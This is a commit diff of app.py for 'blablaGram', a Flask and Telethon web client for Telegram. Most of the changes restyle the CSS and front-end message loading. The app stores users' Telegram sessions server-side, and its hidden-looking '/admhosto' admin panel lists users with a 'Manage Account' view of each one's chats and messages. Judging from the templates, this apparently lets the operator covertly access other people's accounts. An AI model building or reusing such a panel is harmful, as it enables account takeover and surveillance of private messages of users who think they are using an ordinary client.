Aleksmorshen commited on
Commit
0fbeaf6
·
verified ·
1 Parent(s): d7f41c2

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +338 -483
app.py CHANGED
@@ -10,7 +10,7 @@ from telethon.sync import TelegramClient
10
  from telethon.errors import SessionPasswordNeededError, FloodWaitError, UserNotParticipantError
11
  from telethon.tl.functions.messages import ImportChatInviteRequest
12
  from telethon.tl.functions.channels import JoinChannelRequest
13
- from telethon.tl.types import User, Chat, Channel, MessageMediaPhoto, MessageMediaDocument
14
 
15
  app = Flask(__name__)
16
 
@@ -22,6 +22,7 @@ PORT = 7860
22
  SESSION_DIR = 'sessions'
23
  DOWNLOAD_DIR = 'downloads'
24
  DB_PATH = 'users.db'
 
25
 
26
  os.makedirs(SESSION_DIR, exist_ok=True)
27
  os.makedirs(DOWNLOAD_DIR, exist_ok=True)
@@ -66,42 +67,19 @@ LOGIN_TEMPLATE = '''
66
  <title>blablaGram - Login</title>
67
  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
68
  <style>
69
- :root {
70
- --primary-blue: #2AABEE;
71
- --secondary-blue: #1C91D0;
72
- --background-light: #F0F2F5;
73
- --background-card: #FFFFFF;
74
- --border-light: #E0E0E0;
75
- --text-dark: #333;
76
- --text-medium: #666;
77
- --text-light: #888;
78
- --success-bg: #E6FFF1;
79
- --success-text: #159C66;
80
- --error-bg: #FFEBEE;
81
- --error-text: #C9302C;
82
- --info-bg: #EBF8FF;
83
- --info-text: #2AABEE;
84
- }
85
- body { font-family: 'Inter', sans-serif; background: var(--background-light); color: var(--text-dark); margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; }
86
- .container { background: var(--background-card); padding: 40px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); max-width: 420px; width: 90%; text-align: center; }
87
- h1 { color: var(--primary-blue); margin-bottom: 30px; font-size: 3em; font-weight: 700; letter-spacing: -0.8px; }
88
- input[type="text"], input[type="password"] { width: calc(100% - 28px); padding: 14px; margin: 12px 0; border: 1px solid var(--border-light); border-radius: 10px; background: #FDFDFD; color: var(--text-dark); font-size: 1.05em; transition: border-color 0.3s, box-shadow 0.3s; }
89
- input[type="text"]:focus, input[type="password"]:focus { border-color: var(--primary-blue); box-shadow: 0 0 0 4px rgba(42, 171, 238, 0.2); outline: none; }
90
- button { background: var(--primary-blue); color: #fff; padding: 15px 30px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.1em; font-weight: bold; margin-top: 25px; transition: background 0.3s ease, transform 0.2s ease; width: 100%; box-shadow: 0 4px 10px rgba(42, 171, 238, 0.2); }
91
- button:hover { background: var(--secondary-blue); transform: translateY(-2px); box-shadow: 0 6px 12px rgba(42, 171, 238, 0.3); }
92
- button:active { transform: translateY(0); box-shadow: 0 2px 5px rgba(42, 171, 238, 0.2); }
93
- .message { margin-top: 25px; padding: 18px; border-radius: 10px; font-size: 0.95em; line-height: 1.5; text-align: left; }
94
- .message.success { background: var(--success-bg); color: var(--success-text); border: 1px solid var(--success-text); }
95
- .message.error { background: var(--error-bg); color: var(--error-text); border: 1px solid var(--error-text); }
96
- .message.info { background: var(--info-bg); color: var(--info-text); border: 1px solid var(--info-text); }
97
  .hidden { display: none; }
98
- @media (max-width: 600px) {
99
- .container { padding: 30px 20px; border-radius: 10px; }
100
- h1 { font-size: 2.5em; margin-bottom: 25px; }
101
- input[type="text"], input[type="password"] { padding: 12px; font-size: 1em; }
102
- button { padding: 14px 25px; font-size: 1em; margin-top: 20px; }
103
- .message { padding: 15px; font-size: 0.9em; }
104
- }
105
  </style>
106
  </head>
107
  <body>
@@ -158,11 +136,6 @@ LOGIN_TEMPLATE = '''
158
  }
159
  } else {
160
  showMessage('Login failed: ' + result.message, 'error');
161
- if (result.message.includes("phone number format is invalid")) {
162
- showMessage('Login failed: Please ensure the phone number is in international format (e.g., +1234567890) and try again.', 'error');
163
- } else if (result.message.includes("seconds")) {
164
- showMessage(result.message, 'error');
165
- }
166
  }
167
  }
168
 
@@ -227,94 +200,81 @@ BLABLAGRAM_APP_TEMPLATE = '''
227
  <title>blablaGram</title>
228
  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
229
  <style>
230
- :root {
231
- --primary-blue: #2AABEE;
232
- --secondary-blue: #1C91D0;
233
- --background-light: #F0F2F5;
234
- --background-card: #FFFFFF;
235
- --border-light: #E0E0E0;
236
- --text-dark: #333;
237
- --text-medium: #666;
238
- --text-light: #888;
239
- --msg-sent-bg: #DCF8C6;
240
- --msg-received-bg: #FFFFFF;
241
- --button-danger: #DC3545;
242
- --button-danger-hover: #C82333;
243
- --button-secondary: #6C757D;
244
- --button-secondary-hover: #5A6268;
245
- --button-success: #28A745;
246
- --button-success-hover: #218838;
247
- }
248
- body, html { margin: 0; padding: 0; height: 100%; font-family: 'Inter', sans-serif; background: var(--background-light); overflow: hidden; }
249
  .app-layout { display: flex; height: 100vh; width: 100%; }
250
- .sidebar { flex: 0 0 340px; background: var(--background-card); border-right: 1px solid var(--border-light); display: flex; flex-direction: column; transition: transform 0.3s ease-in-out; }
251
- .sidebar-header { padding: 15px 20px; border-bottom: 1px solid var(--border-light); display: flex; align-items: center; justify-content: space-between; }
252
- .sidebar-header h2 { margin: 0; font-size: 1.6em; color: var(--primary-blue); font-weight: 700; letter-spacing: -0.5px; }
253
- .sidebar-header .actions button { background: none; border: none; font-size: 1.6em; cursor: pointer; color: var(--primary-blue); padding: 5px 10px; border-radius: 8px; transition: background-color 0.2s; }
254
  .sidebar-header .actions button:hover { background-color: #E6F3FC; }
255
- .chat-list { flex: 1; overflow-y: auto; -webkit-overflow-scrolling: touch; }
256
- .chat-item { display: flex; align-items: center; padding: 14px 20px; border-bottom: 1px solid #F5F5F5; cursor: pointer; transition: background-color 0.2s, color 0.2s; }
257
  .chat-item:hover { background-color: #F8F8F8; }
258
- .chat-item.active { background-color: #E6F3FC; color: var(--primary-blue); }
259
- .avatar-placeholder { width: 50px; height: 50px; border-radius: 50%; background-color: var(--primary-blue); color: white; display: flex; align-items: center; justify-content: center; font-size: 1.8em; font-weight: 600; margin-right: 15px; flex-shrink: 0; }
260
  .chat-info { flex: 1; overflow: hidden; }
261
- .chat-info h3 { margin: 0 0 4px; font-size: 1.1em; font-weight: 600; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; color: var(--text-dark); }
262
- .chat-item.active .chat-info h3 { color: var(--primary-blue); }
263
- .chat-info p { margin: 0; font-size: 0.88em; color: var(--text-medium); white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
264
 
265
  .chat-panel { flex: 1; display: flex; flex-direction: column; background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAACMsrS6AAAAP1BMVEXy9Pbv8vTw8vXx8/X09vfy9ffx8/Ty9Pbx8/Ty9Pbx8/Xz9ffy9Pby9Pbx8/Xy9ffy9fY7N5wzAAAAFXRSTlMAYKAgsLBgIFBwYNAg0JBQMFBgYCDQX1vPAAACHklEQVR42u3V227bMBBFUUCpQxJCSDqk//+3tCStA8MDjOT6222s5zFjsmy2zLIsy7Isy7Isy7Isy7Isy7Isy7Isy7Isy/rvBvj3yZNOcws8b8A3/4eCrwX8P/h/F/yG8x9Gfo3/u/JfQf498r8s+M/I/7Hgv2Sgvyb5e0H+pfL3gvzby98L8m8vfy/Iv5r8vSC/lvz9IL9e/r0gv1r594L82srfC/Krld8X5Fe3/L0gv1b5vSD/uvJ3gvz6y98L8isv/y/Ir1Z+L8ivpfxdIL+28neD/PLK3w3yyy9/N8ivvnx/CL+y8veD/PLq3wfyK69/H8ivv/x/CL+68veD/Prq3wvyKy9/L8ivvPx/CL+88veD/Prb3wvy6y9/L8ivr/x/CL+98veD/Prt3wvy6y9/X5DfX/n+Ifz2yt8P8uv3Pxfk19f/vyC/v/L9Q/jtlf8f5Ndv/1+QX3/9/4L8/stfD/L7S18P8gsvfx/I7698f5DfX/n+IXz55e+H+PXL3w/y+y9/P8jvr/x/iD/98vdD/Pr9/wvy+y//X5Dff/n/IX795e+H+P33/x/k91/+vyC//vL/IX7/5e+H+P23vx/k99/+vyC//vL3Q/z+y98P8vvv/z/I77/8/RA/AHz54x8QAF/++AcEwJdv/gEBsO+Jf0AAbPvjHxAAu/74BwTAph/9AQGw6Y9/QABs++MfEAC7/vgHBMCmH/0BAbDpj39AAGz74x8QALv++AcEwKYf/QEB/PzDPyAA9vzxDwiArX/8AwLg0w//gADY9sc/IAC2/fEPEAC7/vgHBMDTXz8gAL788Q8IgK+//AMCIAAA/PwnAMCyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMv6n/4H0j+fL0bIRekAAAAASUVORK5CYII="); background-repeat: repeat; background-size: 150px; }
266
- .chat-panel-header { background: var(--background-card); padding: 15px 25px; border-bottom: 1px solid var(--border-light); display: flex; justify-content: space-between; align-items: center; }
267
- .chat-panel-header h2 { margin: 0; font-size: 1.3em; font-weight: 600; color: var(--text-dark); }
268
- .chat-panel-header .header-actions button { background: var(--primary-blue); color: white; border: none; padding: 10px 18px; border-radius: 8px; cursor: pointer; font-size: 0.95em; font-weight: 500; transition: background 0.2s, transform 0.2s; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
269
- .chat-panel-header .header-actions button:hover { background: var(--secondary-blue); transform: translateY(-1px); box-shadow: 0 4px 8px rgba(0,0,0,0.15); }
270
- .chat-panel-header .header-actions button:active { transform: translateY(0); box-shadow: 0 1px 3px rgba(0,0,0,0.1); }
271
- .chat-panel-header .header-actions .switch-account { background: var(--button-secondary); margin-left: 10px; }
272
- .chat-panel-header .header-actions .switch-account:hover { background: var(--button-secondary-hover); }
273
- .chat-panel-header .header-actions .logout-btn { background: var(--button-danger); margin-left: 10px; }
274
- .chat-panel-header .header-actions .logout-btn:hover { background: var(--button-danger-hover); }
275
 
276
  .messages-container { flex: 1; overflow-y: auto; padding: 20px; display: flex; flex-direction: column-reverse; -webkit-overflow-scrolling: touch; }
277
- .message-item { max-width: 75%; padding: 10px 14px; border-radius: 18px; margin-bottom: 8px; line-height: 1.45; word-wrap: break-word; font-size: 0.95em; box-shadow: 0 1px 1px rgba(0,0,0,0.05); }
278
- .message-item.sent { background: var(--msg-sent-bg); align-self: flex-end; border-bottom-right-radius: 4px; }
279
- .message-item.received { background: var(--msg-received-bg); align-self: flex-start; border-bottom-left-radius: 4px;}
280
- .message-sender { font-weight: 600; color: var(--primary-blue); margin-bottom: 4px; display: block; font-size: 0.9em; }
281
- .message-text { color: var(--text-dark); }
282
- .message-meta { font-size: 0.75em; color: var(--text-light); margin-top: 5px; text-align: right; }
283
- .media-link, .media-preview { display: block; margin-top: 8px; border-radius: 8px; overflow: hidden; }
284
- .media-link { color: var(--primary-blue); text-decoration: none; font-weight: 500; word-break: break-all; }
 
285
  .media-link:hover { text-decoration: underline; }
286
- .media-preview img, .media-preview video { max-width: 100%; height: auto; display: block; }
287
- .load-more-btn { background: var(--button-secondary); color: white; padding: 8px 15px; border: none; border-radius: 6px; cursor: pointer; margin: 10px auto; display: block; transition: background 0.2s; }
288
- .load-more-btn:hover { background: var(--button-secondary-hover); }
289
-
290
- .chat-input-area { background: #F8F8F8; padding: 10px 20px; border-top: 1px solid var(--border-light); display: flex; align-items: flex-end; gap: 10px; }
291
- .chat-input-area textarea { flex: 1; padding: 12px 15px; border: 1px solid var(--border-light); border-radius: 20px; background: var(--background-card); resize: none; overflow-y: auto; max-height: 120px; font-size: 1em; line-height: 1.4; transition: border-color 0.3s, box-shadow 0.3s; }
292
- .chat-input-area textarea:focus { border-color: var(--primary-blue); box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.1); outline: none; }
293
- .chat-input-area button { background: var(--primary-blue); color: #fff; width: 44px; height: 44px; border: none; border-radius: 50%; cursor: pointer; font-size: 1.5em; display: flex; align-items: center; justify-content: center; transition: background 0.2s, transform 0.2s; flex-shrink: 0; }
294
- .chat-input-area button:hover { background: var(--secondary-blue); transform: translateY(-1px); }
295
  .chat-input-area button:active { transform: translateY(0); }
296
 
297
- .no-chat-selected { display: flex; justify-content: center; align-items: center; flex: 1; color: var(--text-medium); font-size: 1.2em; text-align: center; }
298
- .join-chat-section { padding: 15px 20px; border-top: 1px solid var(--border-light); display: flex; gap: 10px; background-color: var(--background-card); }
299
- .join-chat-section input { flex: 1; padding: 10px 12px; border: 1px solid var(--border-light); border-radius: 8px; font-size: 0.95em; }
300
- .join-chat-section button { background: var(--button-success); color: white; padding: 0 15px; border: none; border-radius: 8px; cursor: pointer; font-weight: 500; transition: background 0.2s; }
301
- .join-chat-section button:hover { background: var(--button-success-hover); }
 
 
302
 
303
  @media (max-width: 768px) {
304
  .app-layout { flex-direction: column; }
305
- .sidebar { flex: 0 0 auto; width: 100%; height: 100%; border-right: none; border-bottom: 1px solid var(--border-light); position: absolute; top: 0; left: 0; z-index: 1000; transform: translateX(-100%); }
 
 
 
 
 
 
 
 
 
306
  .sidebar.active { transform: translateX(0); }
307
- .chat-panel { width: 100%; height: 100vh; position: relative; }
308
- .sidebar-toggle-button { display: block; background: none; border: none; font-size: 1.8em; color: var(--primary-blue); cursor: pointer; padding: 0 10px; }
 
309
  .sidebar-header .actions { display: flex; align-items: center; }
310
  .chat-panel-header { padding: 15px 15px; }
311
  .chat-panel-header h2 { font-size: 1.2em; }
312
  .chat-input-area { padding: 10px 15px; }
313
  .message-item { max-width: 85%; }
314
- .sidebar-toggle-button.back-arrow { font-size: 2em; margin-right: 10px; }
315
- }
316
- @media (min-width: 769px) {
317
- .sidebar-toggle-button { display: none; }
318
  }
319
  </style>
320
  </head>
@@ -322,7 +282,7 @@ BLABLAGRAM_APP_TEMPLATE = '''
322
  <div class="app-layout">
323
  <div class="sidebar" id="sidebar">
324
  <div class="sidebar-header">
325
- <button class="sidebar-toggle-button" onclick="toggleSidebar()">☰</button>
326
  <h2>blablaGram</h2>
327
  <div class="actions">
328
  <button onclick="newMessage()" title="New Message">✎</button>
@@ -336,20 +296,20 @@ BLABLAGRAM_APP_TEMPLATE = '''
336
  </div>
337
  <div class="chat-panel" id="chatPanel">
338
  <div class="chat-panel-header" id="appHeader">
339
- <button class="sidebar-toggle-button back-arrow" onclick="toggleSidebar()">←</button>
340
  <div id="chat-header-info">
341
  <h2 id="chatTitle" style="display:none;"></h2>
342
  </div>
343
  <div class="header-actions">
344
  <button onclick="logout(true)" class="switch-account">Switch Account</button>
345
- <button onclick="logout(false)" class="logout-btn">Logout</button>
346
  </div>
347
  </div>
348
  <div class="no-chat-selected" id="noChatSelected">
349
  Select a chat to start messaging
350
  </div>
351
  <div class="messages-container" id="messagesContainer" style="display:none;">
352
- <button class="load-more-btn hidden" id="loadMoreBtn" onclick="loadMoreMessages()">Load More</button>
353
  </div>
354
  <div class="chat-input-area" id="chatInputArea" style="display:none;">
355
  <input type="file" id="fileInput" style="display: none;" onchange="handleFileSelect()">
@@ -362,9 +322,9 @@ BLABLAGRAM_APP_TEMPLATE = '''
362
 
363
  <script>
364
  let currentChatId = null;
365
- let lastMessageId = null;
366
- let hasMoreMessages = true;
367
  let isSidebarOpen = false;
 
 
368
 
369
  function toggleSidebar() {
370
  const sidebar = document.getElementById('sidebar');
@@ -407,14 +367,12 @@ BLABLAGRAM_APP_TEMPLATE = '''
407
  chatListDiv.appendChild(chatItem);
408
  });
409
  } else {
410
- chatListDiv.innerHTML = `<p style="padding: 20px; text-align: center; color: var(--text-medium);">${result.message || 'No chats found.'}</p>`;
411
  }
412
  }
413
 
414
  async function selectChat(chatId) {
415
  currentChatId = chatId;
416
- lastMessageId = null;
417
- hasMoreMessages = true;
418
 
419
  document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
420
  document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
@@ -427,94 +385,78 @@ BLABLAGRAM_APP_TEMPLATE = '''
427
  document.getElementById('chatTitle').style.display = 'block';
428
  document.getElementById('messagesContainer').style.display = 'flex';
429
  document.getElementById('chatInputArea').style.display = 'flex';
430
- document.getElementById('messagesContainer').innerHTML = '<button class="load-more-btn hidden" id="loadMoreBtn" onclick="loadMoreMessages()">Load More</button>';
431
 
432
- await fetchMessages(chatId);
 
433
  if (window.innerWidth <= 768) {
434
  toggleSidebar();
435
  }
436
  }
437
 
438
- function displayMessages(messages, prepend = false) {
439
  const messagesContainer = document.getElementById('messagesContainer');
440
- const loadMoreBtn = document.getElementById('loadMoreBtn');
441
-
442
- messages.forEach(msg => {
443
- const messageItem = document.createElement('div');
444
- messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
445
-
446
- let senderInfo = !msg.is_sent && msg.sender_name ? `<span class="message-sender">${msg.sender_name}</span>` : '';
447
- let mediaHtml = '';
448
- if (msg.file_name) {
449
- if (msg.file_type && msg.file_type.startsWith('image')) {
450
- mediaHtml = `<div class="media-preview"><img src="/download/${msg.file_name}" alt="Image"></div>`;
451
- } else if (msg.file_type && msg.file_type.startsWith('video')) {
452
- mediaHtml = `<div class="media-preview"><video controls src="/download/${msg.file_name}"></video></div>`;
453
- } else {
454
- mediaHtml = `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>`;
455
- }
456
- }
457
-
458
- let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
459
- let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
460
- let metaHtml = `<div class="message-meta">${msg.date}</div>`;
461
-
462
- messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
463
-
464
- if (prepend) {
465
- messagesContainer.insertBefore(messageItem, loadMoreBtn.nextSibling);
466
- } else {
467
- messagesContainer.prepend(messageItem);
468
- }
469
- });
470
- if (prepend) {
471
- messagesContainer.scrollTop = messagesContainer.scrollHeight - messagesContainer._prevScrollHeight;
472
  } else {
473
- messagesContainer.scrollTop = messagesContainer.scrollHeight;
 
474
  }
475
- }
476
-
477
- async function fetchMessages(chatId, offsetId = null, limit = 30) {
478
- const messagesContainer = document.getElementById('messagesContainer');
479
- const loadMoreBtn = document.getElementById('loadMoreBtn');
480
- loadMoreBtn.classList.add('hidden');
481
 
482
- let url = `/api/chat_messages/${chatId}?limit=${limit}`;
483
- if (offsetId) {
484
- url += `&offset_id=${offsetId}`;
485
- } else {
486
- messagesContainer.innerHTML = '<button class="load-more-btn hidden" id="loadMoreBtn" onclick="loadMoreMessages()">Load More</button><p style="text-align: center; color: var(--text-medium);">Loading...</p>';
487
  }
488
 
489
  const response = await fetch(url);
490
  const result = await response.json();
491
-
492
- if (!offsetId) { messagesContainer.innerHTML = '<button class="load-more-btn hidden" id="loadMoreBtn" onclick="loadMoreMessages()">Load More</button>'; }
 
 
493
 
494
  if (result.success && result.messages) {
495
- const prevScrollHeight = messagesContainer.scrollHeight;
496
- messagesContainer._prevScrollHeight = prevScrollHeight;
497
-
498
- displayMessages(result.messages.reverse(), offsetId !== null);
499
-
 
 
 
 
 
 
 
 
 
500
  if (result.messages.length > 0) {
501
- lastMessageId = result.messages[0].id;
502
  }
503
- hasMoreMessages = result.has_more;
504
-
505
- if (hasMoreMessages) {
506
- document.getElementById('loadMoreBtn').classList.remove('hidden');
507
  } else {
508
- document.getElementById('loadMoreBtn').classList.add('hidden');
 
 
 
 
 
 
509
  }
510
  } else {
511
- if (!offsetId) messagesContainer.innerHTML = `<p style="text-align: center; color: var(--text-medium);">${result.message || 'No messages found.'}</p>`;
 
512
  }
513
  }
514
 
515
- async function loadMoreMessages() {
516
- if (currentChatId && lastMessageId && hasMoreMessages) {
517
- await fetchMessages(currentChatId, lastMessageId);
518
  }
519
  }
520
 
@@ -552,7 +494,7 @@ BLABLAGRAM_APP_TEMPLATE = '''
552
  });
553
  const result = await response.json();
554
  if (result.success) {
555
- await fetchMessages(currentChatId);
556
  } else {
557
  alert('Failed to send message: ' + result.message);
558
  messageInput.value = message;
@@ -573,12 +515,12 @@ BLABLAGRAM_APP_TEMPLATE = '''
573
  formData.append('file', file);
574
  formData.append('caption', caption);
575
 
576
- messageInput.value = '';
577
- fileInput.value = '';
578
  adjustTextareaHeight();
579
 
580
  const messagesContainer = document.getElementById('messagesContainer');
581
- messagesContainer.innerHTML = '<p style="text-align: center; color: var(--text-medium);">Uploading file...</p>' + messagesContainer.innerHTML;
582
 
583
  const response = await fetch('/api/send_file', {
584
  method: 'POST',
@@ -586,7 +528,7 @@ BLABLAGRAM_APP_TEMPLATE = '''
586
  });
587
  const result = await response.json();
588
  if (result.success) {
589
- await fetchMessages(currentChatId);
590
  } else {
591
  alert('Failed to send file: ' + result.message);
592
  }
@@ -641,42 +583,27 @@ ADMHOSTO_TEMPLATE = '''
641
  <title>blablaGram - Admin Panel</title>
642
  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
643
  <style>
644
- :root {
645
- --primary-blue: #2AABEE;
646
- --secondary-blue: #1C91D0;
647
- --background-light: #F0F2F5;
648
- --background-card: #FFFFFF;
649
- --border-light: #E0E0E0;
650
- --text-dark: #333;
651
- --text-medium: #666;
652
- --text-light: #888;
653
- --button-secondary: #6C757D;
654
- --button-secondary-hover: #5A6268;
655
- }
656
- body { font-family: 'Inter', sans-serif; background: var(--background-light); color: var(--text-dark); margin: 0; padding: 20px; }
657
- .container { max-width: 900px; margin: auto; background: var(--background-card); padding: 30px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); }
658
- h1, h2 { text-align: center; color: var(--primary-blue); margin-bottom: 25px; font-weight: 700; letter-spacing: -0.5px; }
659
- h1 { font-size: 2.5em; }
660
- h2 { font-size: 1.8em; }
661
- table { width: 100%; border-collapse: collapse; margin-top: 20px; border-radius: 12px; overflow: hidden; box-shadow: 0 4px 10px rgba(0,0,0,0.05); }
662
- th, td { padding: 18px; border: 1px solid var(--border-light); text-align: left; }
663
- th { background: #F8F8F8; color: var(--text-medium); font-weight: 600; font-size: 0.95em; }
664
  tr:nth-child(even) { background: #FDFDFD; }
665
  tr:hover { background: #E6F3FC; }
666
- a { color: var(--primary-blue); text-decoration: none; transition: color 0.3s ease; font-weight: 500; }
667
  a:hover { text-decoration: underline; }
668
- .back-button { margin-top: 30px; text-align: center; }
669
- .back-button a { display: inline-block; padding: 12px 25px; background: var(--button-secondary); color: white; border-radius: 10px; transition: background 0.3s ease, transform 0.2s ease; font-weight: 500; box-shadow: 0 4px 10px rgba(0,0,0,0.1); }
670
- .back-button a:hover { background: var(--button-secondary-hover); text-decoration: none; transform: translateY(-1px); box-shadow: 0 6px 12px rgba(0,0,0,0.15); }
671
- .back-button a:active { transform: translateY(0); box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
672
  @media (max-width: 768px) {
673
  body { padding: 15px; }
674
- .container { padding: 25px 15px; border-radius: 10px; }
675
- h1 { font-size: 2em; margin-bottom: 20px; }
676
- h2 { font-size: 1.5em; }
677
- table { font-size: 0.9em; }
678
- th, td { padding: 12px; }
679
- .back-button a { padding: 10px 20px; font-size: 0.9em; }
680
  }
681
  </style>
682
  </head>
@@ -691,11 +618,11 @@ ADMHOSTO_TEMPLATE = '''
691
  <tbody>
692
  {% for user in users %}
693
  <tr>
694
- <td>{{ user[0] }}</td>
695
- <td>{{ user[1] }}</td>
696
- <td>{{ user[2] }}</td>
697
- <td>{{ user[3] }}</td>
698
- <td>
699
  <a href="/admhosto/user/{{ user[0] }}/manage">Manage Account</a>
700
  </td>
701
  </tr>
@@ -719,79 +646,56 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
719
  <title>Manage: {{ user.username or user.phone }}</title>
720
  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
721
  <style>
722
- :root {
723
- --primary-blue: #2AABEE;
724
- --secondary-blue: #1C91D0;
725
- --background-light: #F0F2F5;
726
- --background-card: #FFFFFF;
727
- --border-light: #E0E0E0;
728
- --text-dark: #333;
729
- --text-medium: #666;
730
- --text-light: #888;
731
- --msg-sent-bg: #DCF8C6;
732
- --msg-received-bg: #F1F0F0;
733
- --button-secondary: #6C757D;
734
- --button-secondary-hover: #5A6268;
735
- --button-success: #28A745;
736
- --button-success-hover: #218838;
737
- }
738
- body { font-family: 'Inter', sans-serif; background: var(--background-light); color: var(--text-dark); margin: 0; padding: 20px; }
739
- .container { max-width: 1300px; margin: auto; background: var(--background-card); padding: 30px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); }
740
- h1, h2 { text-align: center; color: var(--primary-blue); margin-bottom: 20px; font-weight: 700; }
741
- h1 { font-size: 2.5em; }
742
- h2 { font-size: 1.5em; }
743
- .user-info { text-align: center; margin-bottom: 30px; font-size: 1.1em; color: var(--text-medium); font-weight: 500; }
744
- .split-panel { display: flex; gap: 25px; margin-top: 25px; }
745
- .split-panel > div { flex: 1; background: #F9F9F9; padding: 25px; border-radius: 12px; border: 1px solid #EEE; box-shadow: 0 4px 10px rgba(0,0,0,0.03); }
746
- .split-panel > div h2 { text-align: left; margin-top: 0; font-size: 1.3em; font-weight: 600; color: var(--text-dark); margin-bottom: 15px; }
747
- input[type="text"], textarea { width: calc(100% - 24px); padding: 12px; margin: 8px 0; border: 1px solid var(--border-light); border-radius: 10px; background: #FFF; font-size: 0.95em; transition: border-color 0.3s, box-shadow 0.3s; }
748
- input[type="text"]:focus, textarea:focus { border-color: var(--primary-blue); box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.1); outline: none; }
749
- textarea { resize: vertical; min-height: 80px; }
750
- button { background: var(--primary-blue); color: #fff; padding: 12px 20px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.0em; font-weight: bold; margin-top: 15px; width: 100%; transition: background 0.3s ease, transform 0.2s ease; box-shadow: 0 4px 10px rgba(42, 171, 238, 0.2); }
751
- button:hover { background: var(--secondary-blue); transform: translateY(-1px); box-shadow: 0 6px 12px rgba(42, 171, 238, 0.3); }
752
- button:active { transform: translateY(0); box-shadow: 0 2px 5px rgba(42, 171, 238, 0.2); }
753
- button.success-btn { background: var(--button-success); box-shadow: 0 4px 10px rgba(40, 167, 69, 0.2); }
754
- button.success-btn:hover { background: var(--button-success-hover); box-shadow: 0 6px 12px rgba(40, 167, 69, 0.3); }
755
- .chat-list { max-height: 400px; overflow-y: auto; border: 1px solid var(--border-light); border-radius: 10px; background: #FFF; }
756
- .chat-item { padding: 14px 18px; border-bottom: 1px solid #EEE; cursor: pointer; transition: background 0.2s ease; }
757
  .chat-item:hover, .chat-item.active { background: #E6F3FC; }
758
  .chat-item:last-child { border-bottom: none; }
759
- .chat-item h3 { margin: 0; font-size: 1.05em; color: var(--text-dark); font-weight: 600; }
760
- .chat-item p { margin: 5px 0 0; font-size: 0.85em; color: var(--text-medium); }
761
- .message-viewer { margin-top: 25px; background: #F9F9F9; padding: 25px; border-radius: 12px; border: 1px solid #EEE; box-shadow: 0 4px 10px rgba(0,0,0,0.03); }
762
- .message-viewer h2 { text-align: left; }
763
- .messages-container { max-height: 500px; overflow-y: auto; padding: 15px; border: 1px solid var(--border-light); border-radius: 10px; background: #FFF; margin-top: 15px; display: flex; flex-direction: column-reverse; }
764
- .message-item { max-width: 80%; padding: 10px 14px; border-radius: 18px; margin-bottom: 10px; line-height: 1.4; word-wrap: break-word; font-size: 0.9em; box-shadow: 0 1px 1px rgba(0,0,0,0.05); }
765
- .message-item.sent { background: var(--msg-sent-bg); align-self: flex-end; }
766
- .message-item.received { background: var(--msg-received-bg); align-self: flex-start; }
767
- .message-sender { font-weight: bold; color: var(--primary-blue); margin-bottom: 4px; display: block; font-size: 0.9em; }
768
- .message-text { color: var(--text-dark); }
769
- .message-meta { font-size: 0.7em; color: var(--text-light); margin-top: 5px; text-align: right; }
770
- .media-link, .media-preview { display: block; margin-top: 5px; border-radius: 8px; overflow: hidden;}
771
- .media-link { color: var(--primary-blue); text-decoration: none; }
772
- .media-preview img, .media-preview video { max-width: 100%; height: auto; display: block; }
773
- .back-button { margin-top: 30px; text-align: center; }
774
- .back-button a { display: inline-block; padding: 12px 25px; background: var(--button-secondary); color: white; border-radius: 10px; transition: background 0.3s ease, transform 0.2s ease; font-weight: 500; box-shadow: 0 4px 10px rgba(0,0,0,0.1); }
775
- .back-button a:hover { background: var(--button-secondary-hover); text-decoration: none; transform: translateY(-1px); box-shadow: 0 6px 12px rgba(0,0,0,0.15); }
776
- .back-button a:active { transform: translateY(0); box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
777
- .clear-chat-selection { text-align: center; margin-top: 15px; }
778
- .clear-chat-selection button { background: var(--button-secondary); color: #fff; width: auto; padding: 10px 20px; border-radius: 10px; box-shadow: 0 4px 10px rgba(0,0,0,0.1); }
779
- .clear-chat-selection button:hover { background: var(--button-secondary-hover); }
780
- .load-more-btn { background: var(--button-secondary); color: white; padding: 8px 15px; border: none; border-radius: 6px; cursor: pointer; margin: 10px auto; display: block; transition: background 0.2s; }
781
- .load-more-btn:hover { background: var(--button-secondary-hover); }
782
 
783
  @media (max-width: 768px) {
784
  body { padding: 15px; }
785
- .container { padding: 25px 15px; border-radius: 10px; }
786
- h1 { font-size: 2em; margin-bottom: 20px; }
787
- h2 { font-size: 1.5em; }
788
  .split-panel { flex-direction: column; gap: 20px; }
789
- .split-panel > div { padding: 20px; border-radius: 10px; }
790
- input[type="text"], textarea { padding: 10px; font-size: 0.9em; }
791
- button { padding: 10px 18px; font-size: 0.95em; margin-top: 10px; }
792
- .chat-list { max-height: 300px; }
793
